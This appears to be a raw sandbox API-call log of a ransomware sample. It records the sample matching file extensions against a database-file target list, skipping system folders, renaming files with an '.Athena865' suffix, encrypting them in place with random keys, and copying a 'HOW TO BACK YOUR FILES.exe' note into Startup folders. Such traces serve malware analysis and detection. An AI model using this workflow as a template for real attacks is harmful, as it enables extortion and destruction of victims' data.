[0102.561] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0102.561] lstrlenW (lpString="mdf") returned 3 [0102.561] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0102.561] lstrlenW (lpString="mdb") returned 3 [0102.561] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0102.561] lstrlenW (lpString="sql") returned 3 [0102.561] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0102.561] lstrlenW (lpString="sqlite") returned 6 [0102.561] lstrcmpiW (lpString1="t).lnk", lpString2="sqlite") returned 1 [0102.561] lstrlenW (lpString="sqlite3") returned 7 [0102.561] lstrcmpiW (lpString1="it).lnk", lpString2="sqlite3") returned -1 [0102.561] lstrlenW (lpString="sqlitedb") returned 8 [0102.561] lstrcmpiW (lpString1="bit).lnk", lpString2="sqlitedb") returned -1 [0102.561] lstrlenW (lpString="xml") returned 3 [0102.561] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0102.561] lstrlenW (lpString="$er") returned 3 [0102.561] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0102.561] lstrlenW (lpString="4dd") returned 3 [0102.561] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0102.561] lstrlenW (lpString="4dl") returned 3 [0102.561] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0102.562] lstrlenW (lpString="^^^") returned 3 [0102.562] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0102.562] lstrlenW (lpString="abs") returned 3 [0102.562] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0102.562] lstrlenW (lpString="abx") returned 3 [0102.562] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0102.562] lstrlenW (lpString="accdb") returned 5 [0102.562] lstrcmpiW (lpString1=").lnk", lpString2="accdb") returned -1 [0102.562] lstrlenW (lpString="accdc") returned 5 [0102.562] lstrcmpiW (lpString1=").lnk", lpString2="accdc") returned -1 [0102.562] lstrlenW (lpString="accde") returned 5 [0102.562] lstrcmpiW (lpString1=").lnk", lpString2="accde") returned -1 [0102.562] lstrlenW (lpString="accdr") returned 5 [0102.562] lstrcmpiW (lpString1=").lnk", lpString2="accdr") returned -1 [0102.562] lstrlenW (lpString="accdt") returned 5 [0102.562] lstrcmpiW (lpString1=").lnk", lpString2="accdt") returned -1 [0102.562] lstrlenW (lpString="accdw") returned 5 [0102.562] lstrcmpiW (lpString1=").lnk", lpString2="accdw") returned -1 [0102.562] lstrlenW (lpString="accft") returned 5 [0102.562] lstrcmpiW (lpString1=").lnk", lpString2="accft") returned -1 [0102.562] lstrlenW (lpString="adb") returned 3 [0102.562] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0102.562] lstrlenW (lpString="adb") returned 3 [0102.562] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0102.562] lstrlenW (lpString="ade") returned 3 [0102.562] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0102.562] lstrlenW (lpString="adf") returned 3 [0102.562] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0102.562] lstrlenW (lpString="adn") returned 3 [0102.562] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0102.562] lstrlenW (lpString="adp") returned 3 [0102.562] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0102.563] lstrlenW (lpString="alf") returned 3 [0102.563] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0102.563] lstrlenW (lpString="ask") returned 3 [0102.563] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0102.563] lstrlenW (lpString="btr") returned 3 [0102.563] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0102.563] lstrlenW (lpString="cat") returned 3 [0102.563] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0102.563] lstrlenW (lpString="cdb") returned 3 [0102.563] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0102.563] lstrlenW (lpString="ckp") returned 3 [0102.563] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0102.563] lstrlenW (lpString="cma") returned 3 [0102.563] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0102.563] lstrlenW (lpString="cpd") returned 3 [0102.563] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0102.563] lstrlenW (lpString="dacpac") returned 6 [0102.563] lstrcmpiW (lpString1="t).lnk", lpString2="dacpac") returned 1 [0102.563] lstrlenW (lpString="dad") returned 3 [0102.563] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0102.563] lstrlenW (lpString="dadiagrams") returned 10 [0102.563] lstrcmpiW (lpString1="4-bit).lnk", lpString2="dadiagrams") returned -1 [0102.563] lstrlenW (lpString="daschema") returned 8 [0102.563] lstrcmpiW (lpString1="bit).lnk", lpString2="daschema") returned -1 [0102.563] lstrlenW (lpString="db-journal") returned 10 [0102.563] lstrcmpiW (lpString1="4-bit).lnk", lpString2="db-journal") returned -1 [0102.563] lstrlenW (lpString="db-shm") returned 6 [0102.563] lstrcmpiW (lpString1="t).lnk", lpString2="db-shm") returned 1 [0102.563] lstrlenW (lpString="db-wal") returned 6 [0102.563] lstrcmpiW (lpString1="t).lnk", lpString2="db-wal") returned 1 [0102.563] lstrlenW (lpString="dbc") returned 3 [0102.563] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0102.564] lstrlenW (lpString="dbs") returned 3 [0102.564] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0102.564] lstrlenW (lpString="dbt") returned 3 [0102.564] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0102.564] lstrlenW (lpString="dbv") returned 3 [0102.564] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0102.564] lstrlenW (lpString="dbx") returned 3 [0102.564] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0102.564] lstrlenW (lpString="dcb") returned 3 [0102.564] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0102.564] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0102.564] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk.Athena865") returned 107 [0102.564] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\internet explorer (64-bit).lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\internet explorer (64-bit).lnk.athena865"), dwFlags=0x1) returned 1 [0102.566] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\internet explorer (64-bit).lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.566] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1419) returned 1 [0102.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.566] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.567] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.567] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.567] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x890, lpName=0x0) returned 0x17c [0102.569] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x890) returned 0x100000 [0102.569] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.570] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.570] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.571] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.571] CloseHandle (hObject=0x17c) returned 1 [0102.571] CloseHandle (hObject=0x154) returned 1 [0102.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.572] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0102.572] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.572] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.572] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".") returned 1 [0102.572] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="..") returned 1 [0102.572] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="windows") returned -1 [0102.572] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="bootmgr") returned 1 [0102.572] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="temp") returned -1 [0102.572] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="pagefile.sys") returned -1 [0102.574] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="boot") returned 1 [0102.574] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="ids.txt") returned 1 [0102.574] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="ntuser.dat") returned -1 [0102.574] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="perflogs") returned -1 [0102.574] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="MSBuild") returned -1 [0102.575] lstrlenW (lpString="Internet Explorer.lnk") returned 21 [0102.575] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Internet Explorer.lnk" | out: lpString1="Internet Explorer.lnk") returned="Internet Explorer.lnk" [0102.576] lstrlenW (lpString="Internet Explorer.lnk") returned 21 [0102.576] lstrlenW (lpString="Athena865") returned 9 [0102.576] lstrcmpiW (lpString1="lorer.lnk", lpString2="Athena865") returned 1 [0102.576] lstrlenW (lpString=".dll") returned 4 [0102.576] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".dll") returned 1 [0102.576] lstrlenW (lpString=".lnk") returned 4 [0102.576] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".lnk") returned 1 [0102.576] lstrlenW (lpString=".ini") returned 4 [0102.576] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".ini") returned 1 [0102.576] lstrlenW (lpString=".sys") returned 4 [0102.576] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".sys") returned 1 [0102.576] lstrlenW (lpString="Internet Explorer.lnk") returned 21 [0102.576] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Internet Explorer.lnk.Athena865") returned 98 [0102.576] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Internet Explorer.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\internet explorer.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Internet Explorer.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\internet explorer.lnk.athena865"), dwFlags=0x1) returned 1 [0102.578] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Internet Explorer.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\internet explorer.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.578] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1453) returned 1 [0102.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.579] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.579] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.579] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.579] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x17c [0102.581] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000 [0102.582] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.582] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.582] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.583] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.583] CloseHandle (hObject=0x17c) returned 1 [0102.583] CloseHandle (hObject=0x154) returned 1 [0102.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.584] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2=".") returned 1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="..") returned 1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="windows") returned -1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="bootmgr") returned 1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="temp") returned -1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="pagefile.sys") returned -1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="boot") returned 1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="ids.txt") returned 1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="ntuser.dat") returned -1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="perflogs") returned -1 [0102.584] lstrcmpiW (lpString1="Maintenance", lpString2="MSBuild") returned -1 [0102.584] lstrlenW (lpString="Maintenance") returned 11 [0102.584] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Maintenance" | out: lpString1="Maintenance") returned="Maintenance" [0102.584] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Maintenance", dwFileAttributes=0x10) returned 1 [0102.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c560 [0102.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x523218 [0102.584] lstrcatW (in: lpString1="Maintenance", lpString2="\\" | out: lpString1="Maintenance\\") returned="Maintenance\\" [0102.584] lstrcatW (in: lpString1="Maintenance\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Maintenance\\HOW TO BACK YOUR FILES.exe") returned="Maintenance\\HOW TO BACK YOUR FILES.exe" [0102.584] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Maintenance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\maintenance\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.587] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2=".") returned 1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="..") returned 1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="windows") returned -1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="bootmgr") returned 1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="temp") returned -1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="pagefile.sys") returned 1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="boot") returned 1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="ids.txt") returned 1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="ntuser.dat") returned 1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="perflogs") returned 1 [0102.587] lstrcmpiW (lpString1="Startup", lpString2="MSBuild") returned 1 [0102.587] lstrlenW (lpString="Startup") returned 7 [0102.587] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Startup" | out: lpString1="Startup") returned="Startup" [0102.587] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Startup", dwFileAttributes=0x10) returned 1 [0102.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5461a8 [0102.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x53d900 [0102.588] lstrcatW (in: lpString1="Startup", lpString2="\\" | out: lpString1="Startup\\") returned="Startup\\" [0102.588] lstrcatW (in: lpString1="Startup\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Startup\\HOW TO BACK YOUR FILES.exe") returned="Startup\\HOW TO BACK YOUR FILES.exe" [0102.588] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Startup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\startup\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.590] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 0 [0102.590] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.590] ReleaseMutex (hMutex=0xec) returned 1 [0102.590] CloseHandle (hObject=0xec) returned 1 [0102.590] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1" [0102.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0102.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c5f0 | out: hHeap=0x4f0000) returned 1 [0102.590] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1") returned 64 [0102.590] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6C341485D110E17B523E8C7773726B32") returned 0xec [0102.590] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.591] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1" [0102.591] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.591] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.591] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.591] GetLastError () returned 0x0 [0102.591] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.591] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.592] CloseHandle (hObject=0xf4) returned 1 [0102.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.592] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.592] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949798e0, ftCreationTime.dwHighDateTime=0x1d4c5e6, ftLastAccessTime.dwLowDateTime=0xc7654c60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7654c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 